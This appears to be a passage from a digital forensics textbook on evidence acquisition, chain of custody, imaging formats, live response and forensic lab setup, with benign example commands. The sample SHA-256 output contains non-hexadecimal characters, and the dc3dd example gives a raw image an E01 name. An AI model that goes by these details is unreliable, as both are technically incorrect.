To prove that a forensic copy is an exact match of the original, investigators use *cryptographic hashing*. A *hash function* is a mathematical process that takes an input (like a file or an entire disk) and creates a unique, fixed-length string of characters. This output is called a *hash value* or *hash digest*. A common name for it is a "digital fingerprint." Even the smallest change to the input data—such as flipping a single bit—will result in a completely different hash value [53].

The main hashing algorithms used in digital forensics are:

- **MD5 (Message Digest 5):** This algorithm creates a 128-bit hash. It was popular in the past and is still found in some tools to work with older systems. However, MD5 is weak against *collisions*. A collision happens when two different files create the same hash value. Because of this weakness, its use is not recommended for verifying integrity unless it is used together with a stronger algorithm.
- **SHA-1 (Secure Hash Algorithm 1):** This creates a 160-bit hash. For a long time, it was the replacement for MD5, but it has also been shown to have security weaknesses. It is often used together with SHA-256 to provide two separate checks.
- **SHA-256 (Secure Hash Algorithm 256):** This algorithm, part of the SHA-2 family, creates a 256-bit hash and is the current standard in the industry. It offers very strong protection against collisions and is considered reliable for use with evidence.

Practical Demonstration: Generating a Hash, On a Linux-based forensic workstation, you can generate a SHA-256 hash of a file with a simple command:

```
$ sha256sum evidence_file.txt
a8a2f7c3c5b8d0b2f1e4c9e3d6a7f8b9c0d1e2f3g4h5i6j7k8l9m0n1o2p3
```

In Windows PowerShell, the equivalent command is:

```
PS C:\> Get-FileHash -Algorithm SHA256 evidence_file.txt

Algorithm       Hash
---------       ----
SHA256          A8A2F7C3C5B8D0B2F1E4C9E3D6A7F8B9C0D1...
```

6.1.3 Maintaining the Chain of Custody

The **Chain of Custody** is a detailed log that creates a complete, unbroken history of an evidence item. The log records events in the order they happen. It shows who had the evidence, how it was controlled, when it was moved or analyzed, and where it ended up. In court, the chain of custody is absolutely required. It is the main way to prove that the evidence presented in court is the same evidence collected from the scene. It also proves that the evidence has not been changed or damaged in any way [13].

A complete chain is necessary for evidence to be accepted in court. A typical Chain of Custody form or log will include:

- A unique case or identifier number.
- A detailed description of the evidence item (e.g., "Seagate 1TB external HDD, Model ST1000LM035").
- The serial number of the device.
- The date and time of collection.
- The name and signature of the person collecting the evidence.
- A log entry for every single time the evidence is handled, transferred, or stored, including the names, dates, times, and reasons for the transfer.

Real-World Scenario: A Broken Chain, Imagine a case where a laptop containing files that show guilt is taken from a suspect. The investigator creates a forensic image of the drive and finds the key evidence. However, the chain of custody log shows the laptop was stored in an unlocked locker for three days, with no record of who could access it during that time. The defense attorney argues that this gap means someone could have changed the evidence—perhaps the guilty files were added later. This creates doubt

about the suspect's guilt, and a judge could decide the evidence cannot be used, which could cause the entire case to fail.

6.2 Post-Mortem Acquisition: Imaging Static Data

Post-mortem or *dead-box* forensics refers to the analysis of a device that has been powered down. This is the most common form of acquisition, typically involving hard disk drives (HDDs), solid-state drives (SSDs), and other storage media.

6.2.1 The Role of Write-Blockers

A **write-blocker** is a tool (either hardware or software) that allows an investigator to read data from a storage device without being able to write any new data to it. This prevents any accidental changes to the original evidence. When a drive is connected to a computer running a standard operating system like Windows or macOS, the OS may automatically write data even if the user does nothing. These actions can include updating timestamps or creating system files. Such changes, even small ones, damage the evidence's integrity.

- **Hardware Write-Blockers:** These are physical tools created specifically for this purpose. They are connected between the evidence drive and the investigator's computer (the forensic workstation). Hardware blockers are considered the most reliable method and are easiest to defend in court. They work separately from the workstation's operating system, so they are not affected by it.
- **Software Write-Blockers:** These are programs that tell the operating system not to send write commands to a specific device. For example, an investigator can change a setting in the Windows Registry to block writing to USB devices. Another example is using a special version of Linux made for forensics (like Kali, Paladin, or SIFT), which automatically treats all connected devices as read-only. While these work well, they are sometimes seen as less reliable than hardware blockers because they require the operating system to work correctly.

6.2.2 Forensic Image Formats

A forensic image is not just a copy of files. It is a *bit-for-bit* copy, which is an exact duplicate of all the data on the original device. This includes all active files, previously deleted files, and *unallocated space*. Unallocated space is the area on a disk that is not being used by current files but might still hold data from old files. Several formats are used to store these images.

- **Raw (dd) Format:** This is the simplest image format. It creates a direct, bit-for-bit copy of the original data into a single file.

- **Pros:** Works with almost all forensic tools; easy to understand.
- **Cons:** Files can be very large because there is no compression. The format does not store extra information (like case notes or hash values) inside the file. It also has no internal checks for errors.

- **EnCase (E01) Format:** A format owned by a specific company (Guidance Software, now OpenText) that is now a common standard used by many professionals.
  - **Pros:** It uses compression to make the image file smaller. It automatically divides the image into smaller, easier-to-manage files. Most importantly, it stores metadata (like case information, acquisition notes, date/time, and the original hash value) inside the image file itself. It also includes *CRC (Cyclic Redundancy Check) values*. A CRC is a simple math check that helps confirm that each part of the image data is free from errors [96].
  - **Cons:** Because it is owned by one company, other companies cannot always use all its features, though many tools can read the format.

- **Advanced Forensics Format (AFF4):** A modern, open-source format that is free for anyone to use and designed to solve the problems of older formats.
  - **Pros:** This format is very flexible. It can store different types of evidence (for example, a disk image and a memory capture) inside a single container file. It supports storing data out of order, which is useful for imaging modern SSDs. It also provides strong encryption and stores metadata [81].
  - **Cons:** Although it is becoming more popular, it is not yet supported by as many forensic tools as the E01 format.

6.2.3 The Forensic Imaging Process

The process for creating and checking a forensic image must be done in a careful, step-by-step way, and everything must be documented.

Algorithmic Breakdown: The Standard Acquisition & Verification Algorithm

(1) Document the evidence media (make, model, serial number, capacity) on the Chain of Custody form and in your case notes.

(2) Connect the evidence media to the forensic workstation. You must use a *validated* hardware write-blocker, which is a device that has been tested to prove it works correctly.

(3) Use software to calculate the SHA-256 hash of the entire original device. Record this "source hash" in your notes. This hash is the official reference value for the original evidence.

(4) Use a trusted forensic imaging tool (like FTK Imager, Guymager, or 'dc3dd') to create a forensic image of the original device. You must save the image to a destination drive that has been *forensically sanitized*. A sanitized drive is one that has been securely wiped to remove all previous data.

(5) After the imaging process is complete, the imaging software will calculate a hash of the data inside the new image file(s). This is often called the "image hash" or "verification hash."

(6) Compare the source hash (from Step 3) with the image hash (from Step 5). They must match exactly.

(7) Record the successful match, including both hash values, in your case notes. This gives you mathematical proof that your forensic image is an exact copy of the original evidence.

Practical Demonstration: Using dc3dd, The 'dc3dd' tool is an improved version of the traditional 'dd' utility, created by the U.S. Department of Defense Cyber Crime Center (DC3) to include forensic features. A typical command to acquire an image looks like this:

```
# dc3dd if=/dev/sdb of=/case/evidence.e01 hash=sha256 \
  log=/case/acquisition.log
```

This command tells 'dc3dd' to:

- Set the input file ('if') to be the source drive '/dev/sdb'.
- Set the output file ('of') to be '/case/evidence.e01'.
- Calculate the SHA-256 hash ('hash=sha256') of both the input and output during the process.
- Write all actions, progress, and errors to a detailed log file ('log=/case/acquisition.log').

6.3 Live Response: Acquiring Volatile Data

Sometimes, turning off a computer is the worst thing an investigator can do. *Live response* is the process of collecting data from a running computer system. This is very important when investigating events like active network attacks, malware infections, or employee misconduct, where turning off the computer would destroy important evidence that exists only in the system's memory

(RAM). This process is often part of a *triage* step. Triage is the quick evaluation of a system to decide if it is important to the investigation. This helps an investigator decide whether to perform a full, time-consuming disk imaging process.

6.3.1 The Order of Volatility

When collecting data from a live system, an investigator must collect evidence based on its *volatility*. Volatility means how easily the data can be changed or lost. You must collect the most temporary data first, and the most permanent data last. This guiding principle is called the "Order of Volatility" and was formally described in RFC 3227 [22].

Algorithmic Breakdown: The Order of Volatility Collection Priority

(1) **CPU Registers and Caches:** Most temporary; holds the instructions the computer is currently working on.

(2) **System Memory (RAM):** Contains a lot of useful information, including running programs, network connections, loaded encryption keys, chat messages, passwords, and user actions.

(3) **Network State:** The ARP cache, routing tables, and active network connections.

(4) **Running Processes:** A list of all programs and services currently active on the system.

(5) **Disk-Based Data:** Data on the disk that changes often, like temporary file systems and *swap space*. Swap space is a part of the disk that the operating system uses as extra RAM.

(6) **Archival Media:** Data on permanent storage, like hard drives, SSDs, backups, and other storage devices.

6.3.2 Techniques and Tools for Live Collection

The most important rule of live response is to make as few changes as possible to the target computer. An investigator must not run programs that are already on the suspect computer. Instead, they should use a clean USB drive that contains their own trusted and portable tools. These tools should be self-contained so they do not rely on any files from the suspect's system to work.

- **RAM Acquisition:** This is often the most important part of a live response. System memory can contain evidence that is never written to the disk, such as passwords captured by malware, active command histories, or decrypted files. Tools like Magnet RAM Capture, FTK Imager Lite, and DumpIt are used to create a bit-for-bit image of the system's RAM.

- **System and Network Information:** Before or after capturing the RAM, an investigator will quickly collect information about the system's state. They use trusted command-line tools from their USB drive. This includes logged-on users, running services, command history (‘doskey /history‘ on Windows), active network connections (‘netstat -anob‘), and clipboard contents.

- **Automated Triage Tools:** To make the collection of many different items easier, investigators use triage tools. These tools automatically collect key system files and data points, which are called *artifacts*. An artifact is any item of digital information that is important for an investigation. The tool saves these artifacts into one organized folder.

6.4 Specialized Acquisition Scenarios

The digital world is no longer limited to physical disks on a desk. Investigators must be prepared to acquire evidence from many different complex and remote environments.

6.4.1 Cloud and API-Driven Acquisition

With the common use of platforms like Amazon Web Services (AWS), Microsoft Azure, and Microsoft 365, the ways to collect data have completely changed. Instead of taking a physical server, an investigator often has to interact with the service using an *Application Programming Interface (API)*. An API is a set of official commands that allows a person or program to get information from a cloud service.

Acquisition methods in the cloud include:

- **Virtual Machine Snapshots:** Creating a point-in-time copy of a virtual server's disk. This snapshot can then be exported and analyzed like a normal forensic image.

- **Log Exportation:** Cloud services create very large and detailed logs of all activity. Getting logs like AWS CloudTrail, Azure Activity Logs, or M365 Unified Audit Logs is very important for investigating actions in the cloud environment [178].

- **Provider-Specific Tools:** Cloud companies are starting to offer their own forensic tools, such as the ability to acquire memory from a running server in AWS.

- **Legal Process:** In many cases, especially with software service providers, the only way to get data is through a legal order (like a warrant or subpoena) given to the provider. The provider then gives the requested data to the investigator.

6.4.2 Mobile Device Acquisition

Mobile devices create special challenges because of strong encryption that is now used everywhere, special file systems (like Apple's APFS), and security features that are designed to block access. The methods for acquiring data from them are different in how deep they can go and how much they affect the device [12].

- **Logical Acquisition:** This method copies the files and folders that a normal user can access, like making a backup with iTunes. It collects user content (photos, contacts, messages) but usually does not get deleted data or system files.
- **File System Acquisition:** This is a more complete method that copies the device's file system structure. It can collect some deleted data and system files that a logical acquisition cannot. This method often needs to use a security weakness in the phone's software.
- **Physical Acquisition:** This is the most complete method. It creates a bit-for-bit copy of the device's memory chip. This copy contains all data, including deleted files and unallocated space. However, because of strong encryption on modern iOS and Android devices, physical acquisition is often impossible without bypassing the device's security. This is a very difficult technical and legal problem.

Specialized tools like Cellebrite UFED, Magnet GrayKey, and Oxygen Forensic Detective are needed to perform these difficult acquisitions.

6.4.3 RAID and Damaged Media

Two final situations require expert skills.

- **RAID (Redundant Array of Independent Disks):** In large business networks, data is often stored across multiple disks in a RAID setup for better performance or safety. The data is "striped" across the disks, meaning a single file is broken into pieces and spread out. Before an image can be created, the RAID setup must be put back together virtually to show a single complete volume. This requires knowing the RAID level (e.g., RAID 5, RAID 10), disk order, and stripe size.
- **Damaged Media:** If an evidence device is physically damaged (for example, by fire, water, or a mechanical failure like a *head crash*), forensic acquisition cannot start. A head crash is a failure where the read/write part inside a hard drive touches the spinning disk, destroying it. The drive must first be sent to a professional data recovery company that has a "clean room"—an environment with no dust. There, experts can physically repair the drive so its data can be read and imaged.

Conclusion

This chapter taught you the most important rules for handling evidence. You learned to always work on a copy, not the original evidence. You also learned to use hashing to prove your copy is exact and to maintain a detailed chain of custody log. An investigator follows these steps to make sure any evidence they find is reliable and can be used in a legal case. Now that you know how to create a trusted forensic image, the next chapter will teach you how to analyze the filesystem inside that image to find your evidence.

Acronyms and Terminology

Acquire To collect digital evidence from a source, such as a computer or mobile device.

AFF4 (Advanced Forensics Format) A modern, open-source forensic image format designed to be flexible and capable of storing different types of evidence within a single container.

API (Application Programming Interface) A set of rules and protocols that allows different software applications to communicate with each other, used in forensics to retrieve data from cloud services.

APFS (Apple File System) The proprietary file system used by modern Apple devices like iPhones and Macs.

Artifact Any item of digital information that has evidentiary value in an investigation, such as a log file, a deleted file, or a browser cookie.

AWS (Amazon Web Services) A major cloud computing platform, often a source of digital evidence in modern investigations.

Bit-for-bit copy An exact, identical duplication of all data from a storage medium, including both active and deleted files, as well as unallocated space.

Chain of Custody The documented chronological history of evidence, showing its seizure, custody, control, transfer, analysis, and disposition to prove its integrity.

Clean Room A controlled, dust-free laboratory environment used for the physical repair of damaged hard drives to enable data recovery.

Collision (Hashing) An undesirable event where two different sets of data produce the exact same hash value, undermining the integrity verification process.

CRC (Cyclic Redundancy Check) An error-checking code used to detect accidental changes to raw data. It is often used within E01 image files to verify the integrity of individual data blocks.

DC3 (Department of Defense Cyber Crime Center) The US government entity that developed forensic tools like ‘dc3dd‘.

dc3dd An enhanced version of the ‘dd‘ command-line utility, specifically designed for forensics with features like on-the-fly hashing and logging.

Dead-box forensics Another term for post-mortem forensics; the analysis of a device that has been powered down.

E01 (EnCase Format) A proprietary but widely adopted forensic image file format that supports compression, internal metadata storage (case notes, hashes), and error checking.

Evidence Integrity The fundamental principle that evidence has not been altered or compromised in any way since it was collected.

File System Acquisition A data acquisition method that extracts a copy of the file system from a device, providing more data than a logical acquisition, including some deleted files and system data.

Forensic Image A verifiable, bit-for-bit copy of a digital storage device created so that analysis can be performed without altering the original evidence.

Forensically Sanitized A state where a storage medium has been securely wiped of all previous data to ensure it is clean before being used to store evidence.

Forensic Workstation An investigator's computer that is specially configured with the hardware and software needed to perform digital forensic analysis.

Hash Function A mathematical algorithm that transforms any block of data into a unique, fixed-size string of characters.

Hash Value (or Hash Digest) The unique output string generated by a hash function, often called a "digital fingerprint," used to verify that data is unchanged.

Hashing The process of applying a hash function to data to generate a hash value for integrity verification purposes.

HDD (Hard Disk Drive) A traditional data storage device that uses magnetic platters to store data.

Head Crash A catastrophic mechanical failure in a hard disk drive where the read/write head touches the spinning platter, physically destroying the drive and the data on it.

Live Data Ephemeral information that exists only while a computer is running, such as the contents of RAM or active network connections.

Live Response The process of collecting volatile data from a computer system while it is still powered on.

Logical Acquisition An acquisition method that only copies the files and folders that are visible to a standard user, similar to making a backup. It does not typically recover deleted data.

MD5 (Message Digest 5) An older 128-bit hashing algorithm that is now considered insecure for evidence verification due to its vulnerability to collisions.

Metadata Data that provides information about other data. In forensics, it refers to information like case notes, acquisition time, and hash values embedded within a forensic image file.

Order of Volatility The guiding principle for live response that dictates evidence should be collected in order from most volatile (e.g., RAM) to least volatile (e.g., hard drive data).

Physical Acquisition The most complete form of data acquisition, creating a bit-for-bit copy of the physical memory chip of a device, capturing all data including unallocated space.

Post-mortem forensics The analysis of digital evidence from a device that has been powered off.

Preserve To protect collected evidence from any form of change, damage, or contamination.

RAID (Redundant Array of Independent Disks) A system that spreads data across multiple hard drives to act as a single, larger volume, often for performance or data redundancy.

RAM (Random Access Memory) The computer's temporary, volatile memory that stores data for running programs and processes; its contents are lost when power is turned off.

Raw (dd) Format The simplest forensic image format, representing a direct bit-for-bit copy of the source media without added compression or metadata.

RFC 3227 The "Request for Comments" document that provides official guidelines for evidence collection procedures, including the Order of Volatility.

SHA-1 (Secure Hash Algorithm 1) A 160-bit hashing algorithm that was once a standard but is now considered to have security weaknesses.

SHA-256 (Secure Hash Algorithm 256) A strong 256-bit hashing algorithm that is the current industry standard for verifying the integrity of digital evidence.

Spoliation The intentional or accidental alteration, damage, or destruction of evidence, which can render it inadmissible in court.

SSD (Solid-State Drive) A modern data storage device that uses flash memory with no moving parts.

Swap Space A portion of a disk drive that the operating system uses as virtual memory when the physical RAM is full.

Triage In digital forensics, the rapid initial assessment of a system or device to determine its potential evidentiary value and prioritize further action.

Unallocated Space The area on a storage device that is not currently assigned to any active files but may contain data from files that have been deleted.

Validated (Tool) A forensic tool, such as a write-blocker, that has been tested and confirmed to work as intended without altering evidence.

Volatility The property of data that describes how temporary or permanent it is. Data in RAM is highly volatile, while data on an SSD is non-volatile.

Write-Blocker A device or software tool that permits read-only access to a storage device, preventing any modifications to the original evidence during the acquisition process.

Chapter 7

Forensic Lab Infrastructure and Toolkits

Introduction

To produce evidence that can be used in court, a digital investigation needs a controlled environment. This place is called a digital forensics laboratory. It protects evidence and ensures that the analysis is accurate and reliable. This chapter explains how to set up and manage a professional forensics lab. We will cover physical security, rules for handling evidence, and the special computer hardware and software you will need. We will also explain why you must test your tools to prove they work correctly.

7.1 Foundations of the Digital Forensics Lab

A forensic laboratory is much more than just a room with powerful computers. It is a complete system of rules, procedures, and controls. The main goal of this system is to protect the integrity of digital evidence. *Integrity* means that the evidence has not been altered or damaged. The system also helps analysts perform a complete and fair analysis [142]. The quality of an investigator's results depends on the quality of the lab environment. A mistake in lab procedures can ruin an entire case, even if the technical analysis is perfect.

7.1.1 Physical and Environmental Security

The first step in protecting digital evidence is to make the laboratory physically secure. If an unauthorized person gets in, they could tamper with, steal, or damage evidence. This would make any analysis invalid.

Controlling Access to the Facility

Only authorized people should be allowed to enter the lab. This is usually done with several layers of security:

- **Single-Point-of-Entry:** The lab should have only one entrance and exit for everyone. This makes monitoring easier.
- **Access Control Systems:** Modern labs use electronic systems to control access. Examples include keycard readers or *biometric scanners*. A biometric scanner uses unique body features like fingerprints or eye patterns. These systems make sure only authorized people can get in. These systems automatically record when someone enters or leaves.
- **Visitor and Evidence Logs:** Everyone who is not lab staff (like visitors, repair staff, or police officers delivering evidence) must sign a visitor log. An authorized lab member must always accompany them. A separate log, called the *chain of custody log*, records every time an evidence item is transferred from one person to another [33].
- **Video Surveillance:** High-quality video cameras should record all entrances, exits, and important areas like evidence storage rooms, 24 hours a day, 7 days a week. This video record can confirm the information in the access logs and discourage people from doing things they should not do.

Environmental Controls

Electronic parts can be damaged by heat, cold, or moisture. The lab must have strong environmental controls to protect both the analysis computers and the original evidence:

- **Climate Control:** A special Heating, Ventilation, and Air Conditioning (HVAC) system is very important. This system keeps the temperature and humidity constant. This prevents computers from getting too hot during difficult tasks and protects stored evidence from slowly breaking down over time.
- **Fire Suppression:** Normal water sprinklers, which are common in offices, will destroy electronic equipment. A forensic lab needs a *clean agent fire suppression system*. This is a system that puts out fires without using water, for example, by using special gases like FM-200 or Novec 1230 fluid. These systems stop fires by removing heat or oxygen. They do not leave behind any liquid or powder, which protects electronic devices from damage [142].

7.1.2 Evidence Management and Control

Careful evidence handling is the most important part of forensic work. You must document every action involving evidence, from when it first arrives at the lab until it is returned or destroyed. This creates a *chain of custody*, which is a complete record of who handled the evidence and when. A strong chain of custody can be defended in court.

Secure Evidence Storage

Original evidence cannot be replaced. You must store it in a way that prevents people from accessing it without permission. It must also be protected from physical damage and from breaking down over time. This involves:

- **Evidence Lockers/Safes:** You must use high-security safes or lockers for all original evidence. These should be *tamper-evident*, meaning it is easy to see if someone has tried to open them without permission. Only a few people, like a specific evidence manager, should be allowed to open these containers.
- **Systematic Labeling:** You must use a clear and consistent system for labeling. Every piece of evidence, every forensic copy, and every case folder must have a unique ID. This ID connects all the related items. This label should include the case number, evidence item number, and a brief description.

Chain of Custody Within the Lab

The chain of custody is the record that shows the history of the evidence, step-by-step. You must maintain this documentation perfectly inside the lab. The following steps describe a standard procedure for receiving new evidence.

Step 1: Receive Evidence: An analyst or evidence manager receives the evidence. It should arrive in a sealed, tamper-evident bag or box. The person receiving it checks and signs the chain-of-custody form that came with it.

Step 2: Assign Internal ID: The evidence is given a unique case number and evidence number in the lab's management system.

Step 3: Photograph: Take photos of the evidence from all sides while it is still in its sealed package. Then, open the package and take photos of the evidence itself. Keep the original packaging as part of the evidence.

Step 4: Document Internally: Start a new internal chain-of-custody form. The analyst writes down the date, time, their name, and a detailed description of the item (such as its brand, model, serial number, and any visible damage).

Step 5: Hash Original Media: If possible, calculate a *cryptographic hash* of the original evidence before doing anything else. A hash (like SHA-256) is a unique digital fingerprint created from the data. This hash value proves the data's original condition. You should only do this if it does not change the device, for example, with a hard drive that is already removed from a computer.

Step 6: Secure Original Evidence: Put the original evidence back into its package. Seal the package with tamper-evident tape, sign it, and store it in the correct evidence locker.

Step 7: Work on a Copy: Always perform analysis on a verified forensic copy of the original evidence, not on the original itself. This special copy is called a *forensic image*. This process keeps the original evidence unchanged. Document every action you take on the copy in your case notes.

7.1.3 Lab Network Architecture

A lab's computer network cannot be a simple network like you would find in a normal office. The risk of *cross-contamination* is too high. Cross-contamination happens when data from one case accidentally mixes with another case, or when a virus from an evidence file infects the lab's computers.

The Need for Network Segmentation

Network segmentation is the practice of dividing a computer network into smaller, separate sections called subnets. In a forensic lab, this is not just a good idea; it is essential. Segmentation controls the flow of data between different areas of the lab. This helps prevent data from accidentally being copied to the wrong place and contains any security problems [47].

Designing a Three-Tier Network Model

A common and recommended model for forensic labs uses a three-part network design:

(1) **General Business Network:** Analysts use this network for regular office work that needs an internet connection, like writing reports, sending emails, and doing online research. This network must be separated from the other lab networks by a *firewall*, which is a security device that blocks unauthorized network traffic. It should also have standard security software, like antivirus programs and web filters.

(2) **Analysis Network:** This is the most secure and separate network. The best practice is to *air-gap* this network, which means it has no physical connection to any other network, including the internet. Analysts connect evidence to computers on this network for analysis. The evidence is accessed in a read-only mode to prevent changes. This setup stops any

viruses in the evidence from contacting the internet or sending data out of the lab.

(3) **Forensic Tools Network:** This is a special network with very limited access. Its only purpose is to let forensic computers connect to trusted websites. From there, they can download software updates, licenses, and new *hash sets*. A hash set is a list of known digital fingerprints used to identify specific files. Access to this network must be carefully controlled and recorded.

Real-World Story: The Peril of Data Spillage., Imagine an analyst is examining a computer from a company. This computer contains sensitive company data and has been attacked by hackers. At the same time, the analyst is working on a different criminal case that involves illegal images. Without a segmented network, the analyst could easily and accidentally copy a file from one case to the other. Even worse, they could accidentally attach a secret report from one case to an email about the other case. A more hidden threat is malware (malicious software). If an analyst runs a malware program on a computer connected to the internet, the malware could connect to its controllers online. It could then start stealing data, not just from the evidence, but from the entire network. This could expose secret information from every case in the lab. A correctly segmented network makes this kind of disastrous data leak almost impossible.

7.2 Forensic Hardware and Workstations

The basic ideas of digital forensics apply to any computer system. However, the actual work requires special hardware. This hardware must be able to manage very large amounts of data and perform difficult calculations quickly and reliably. Using normal consumer computers can slow down the work, make investigations take longer, and may not have the right ports to connect to all types of evidence.

7.2.1 The Forensic Workstation

The forensic workstation is the analyst's main computer. It must be a very powerful computer that is specially built for the needs of a digital investigation.

Core Hardware Specifications

A professional forensic workstation is built to be powerful and to do many tasks at once. Key parts include:

- **CPU (Central Processing Unit):** Modern forensic software is often *multi-threaded*, which means it can use multiple processor cores at the same time. Tasks like creating an index of all files, searching for keywords,

and especially cracking passwords, work much faster with more cores. A computer with a 16-core CPU or more is recommended.

- **RAM (Random Access Memory):** Analyzing evidence requires a lot of memory (RAM). This is especially true when analyzing *volatile memory* (a copy of a computer's active memory, also called a RAM dump) or when running several *virtual machines*. A virtual machine is a software program that acts like a real computer. A minimum of 64 GB of RAM is standard, but 128 GB or 256 GB is better for complex analysis.
- **Storage:** A storage system with different levels of speed and size is essential for good performance. A common setup includes:
  - A very fast NVMe Solid-State Drive (SSD) for the operating system and forensic software. This makes the computer feel fast and responsive.
  - A large *RAID* (Redundant Array of Independent Disks) system. A RAID system combines multiple hard drives to provide very large, fast storage for current case data and forensic images. Common RAID levels like RAID 5, 6, or 10 also provide *fault tolerance*, which means the data is safe even if one of the hard drives fails.
- **I/O (Input/Output):** An analyst needs to connect many different types of evidence devices. The workstation should have many high-speed ports, such as USB 3.2, USB-C, and Thunderbolt™. A built-in memory card reader is also very helpful.

Operating System and Virtualization

Many analysts set up their computers to *dual-boot*. This means they can choose to start either the Windows or the Linux operating system when the computer turns on. They do this because some forensic tools only work on one operating system. Another popular method is *virtualization*. Using software like VMware Workstation or VirtualBox, an analyst can run multiple operating systems at the same time on one computer. For example, they could run a SIFT Workstation virtual machine, a Windows virtual machine, and a macOS virtual machine all at once. This gives the analyst great flexibility for testing and analysis.

Practical Demo: System Resource Check., On a Linux-based forensic operating system like SIFT, an analyst can quickly check the computer's hardware using the command line.

Listing 7.1: Checking CPU cores and memory in Linux.

```
# Check the number of available CPU processing units
echo "CPU␣Cores:"; nproc
```

```
# Check the total and available memory in human-readable format
echo "Memory:"; free -h
```

7.2.2 Essential Forensic Hardware

Besides the workstation, a lab needs several other essential pieces of special hardware.

Write-Blockers

A *write-blocker* is a device that lets an analyst read data from a storage device (like a hard drive or SSD) but physically prevents any data from being written to it. This is extremely important for protecting the integrity of the original evidence. Even a tiny change (for example, the operating system updating a file's "last accessed" time) could be used in court to argue that the evidence is not reliable.

- **Hardware Write-Blockers:** These are physical devices placed between the evidence drive and the forensic computer. They stop any write commands that the computer sends. Devices from companies like Tableau and WiebeTech are common in the industry because they are reliable and work independently from the computer's operating system [109].
- **Software Write-Blockers:** It is also possible to use software to prevent writing. For example, a Linux forensic operating system can be set up to access all drives in a read-only mode. This method works, but it depends on the operating system settings. In contrast, a hardware write-blocker's job is separate from the computer it is connected to.

Forensic Imagers/Duplicators

A *forensic imager* (or duplicator) is a special hardware device built to create a perfect, bit-for-bit copy of a storage device. This perfect copy is called a forensic image. Software can also create images, but hardware imagers (like the Tableau TX1 or Logicube Falcon-NEO) have important advantages:

- **Speed:** They are highly optimized and often faster than software-based imaging.
- **Verification:** They automatically calculate and check cryptographic hashes (like MD5, SHA-1, and SHA-256) for both the original drive and the new image file. This proves that the copy is a perfect and verifiable match.
- **Versatility:** They can copy multiple original drives to multiple destination drives at the same time. They also support many different types of drive connections, such as SATA, IDE, M.2 (SATA/NVMe), PCIe, and USB.

Drive Adapters and Specialized Kits

Criminals use all types of computers and devices, not just standard desktop computers. Investigators find many different kinds of storage devices. A good lab must have a full set of adapters. These adapters are needed to connect different devices to a write-blocker or imager. This includes adapters for less common formats like M.2 SATA, M.2 NVMe, ZIF (Zero Insertion Force), LIF (Low Insertion Force), and 1.8-inch IDE drives often found in older laptops and portable media players.

7.3 Core Software and Toolkits

Software is the tool an investigator uses to see and understand the data in an evidence file. It automates difficult tasks, interprets complex data structures, and shows the results in a way that is easy to understand. The software choice depends on the type of evidence, the goals of the investigation, and how the analyst or lab prefers to work.

7.3.1 Forensic Suites vs. Specialized Tools

Forensic software usually comes in two types: large software packages that do many things, and small tools that do only one thing. Most labs use a combination of both.

Integrated Suites

A *forensic suite* is a complete software package that can manage the entire investigation process, from creating an image to writing the final report. Their main advantage is that all the tools are combined and many tasks are automatic. This lets an analyst manage every part of a case in one program. Well-known commercial examples that are used widely in the industry include:

- **Magnet AXIOM:** Known for its focus on *artifacts*. Artifacts are pieces of data created by user activity, like browser history or chat messages. AXIOM finds and connects artifacts from many sources (computers, mobile phones, and cloud services).
- **EnCase Forensic:** One of the oldest and most court-tested forensic suites, widely used in law enforcement and corporate investigations.
- **AccessData FTK (Forensic Toolkit):** A powerful software package known for its strong processing and indexing ability, which can work with very large amounts of data.

Specialized (Single-Purpose) Tools

Unlike suites, specialized tools are designed to do one specific job very well. An experienced analyst often keeps a large collection of these tools to have

more options. For example, while a suite might have a general registry viewer, a dedicated tool like **RegRipper** provides much more detailed and targeted analysis of the Windows Registry. Similarly, a tool like **FFMPEG** offers very specific control for analyzing or converting video files that a suite might not support. This approach allows the analyst to select the absolute best tool for any given job.

7.3.2 The SIFT Workstation (Linux)

For analysts who like to use open-source software, the SANS Investigative Forensic Toolkit (SIFT) is an essential resource [184]. SIFT is a free, pre-configured virtual machine based on the Ubuntu Linux distribution. It includes a large collection of the best open-source forensic tools, which are selected and organized by the SANS Institute. This saves the analyst hundreds of hours of work finding, installing, and configuring these tools individually.

Key Included Tools

SIFT includes hundreds of tools, but some of the most important are:

- **The Sleuth Kit (TSK):** Developed by Brian Carrier, TSK is a library and collection of command-line tools that allow for detailed, low-level analysis of filesystems and disk images. It can analyze raw (dd) images and parse data structures for NTFS, FAT, HFS+, Ext3/4, and other filesystems .
- **log2timeline/Plaso:** A powerful tool for creating a *super timeline*. A super timeline combines time-stamped events from hundreds of different sources on a computer (like web history, system logs, and file information) into one single timeline, organized by time. This allows an investigator to reconstruct a detailed narrative of user activity.
- **Volatility Framework:** The most popular open-source tool for analyzing volatile memory (RAM). Volatility can examine a memory dump to find information like running programs, active network connections, software drivers, passwords, and malicious software that might only exist in memory and not on the hard drive [209].

Practical Demo: Using The Sleuth Kit., TSK's command-line tools can reveal data that graphical tools might miss. For instance, the 'fls' command can list files and directories, including those that have been deleted but not yet overwritten. To see the files that were in a deleted folder, an analyst must first find its *inode number*. An inode is a data structure on a filesystem that stores information about a file or folder. After finding the inode number, the analyst can use 'fls' to list the files that were in that folder.

Listing 7.2: Using 'fls' to list files in a deleted directory.

```
# The '-r' flag enables recursive view, '-p' shows full path,
```

```
# and '-d' lists only deleted entries. The analyst would first
# need to identify the inode number of the target directory.
fls -r -p -d <image_name.dd> <inode_of_deleted_dir>
```

7.3.3 Autopsy (Windows/Multi-Platform)

For analysts who want to use powerful open-source tools with an easy-to-use graphical interface, Autopsy is the best option . Autopsy was created to be a graphical interface for The Sleuth Kit and other open-source tools. It is a free forensic program that can be expanded with new features. It runs on Windows, macOS, and Linux. Its ease of use and powerful feature set have made it a favorite in law enforcement agencies and educational institutions worldwide.

Key Features

Autopsy provides a complete case management and analysis environment.

- **Case Management:** It lets an analyst combine many sources of data (for example, a disk image from a laptop, a file copy from a phone, and other documents) into one single case.
- **Automated Ingest Modules:** When a data source is added to a case, Autopsy can automatically run a series of analysis modules in the background. These modules can:
    - Calculate hash values for all files. They then mark any files that match lists of known bad files (for example, malware) or known good files (like standard operating system files from the National Software Reference Library, or NSRL).
    - Get *EXIF metadata* from photos and videos. This metadata is information stored inside the file itself, such as GPS location, camera model, and the date and time it was taken.
    - Parse Windows Registry files to extract evidence of user activity, connected USB devices, and executed programs.
    - Search for specific keywords through all of the data.
- **Integrated Data Views:** Autopsy shows its results in easy-to-understand ways. The Timeline view shows file activity organized by time. The Web Artifacts view gathers web browser history, temporary files, and cookies. The Communication view organizes emails and chat messages. This allows an analyst to easily switch between different views to understand what happened.

7.4 Tool Validation and Lab Accreditation

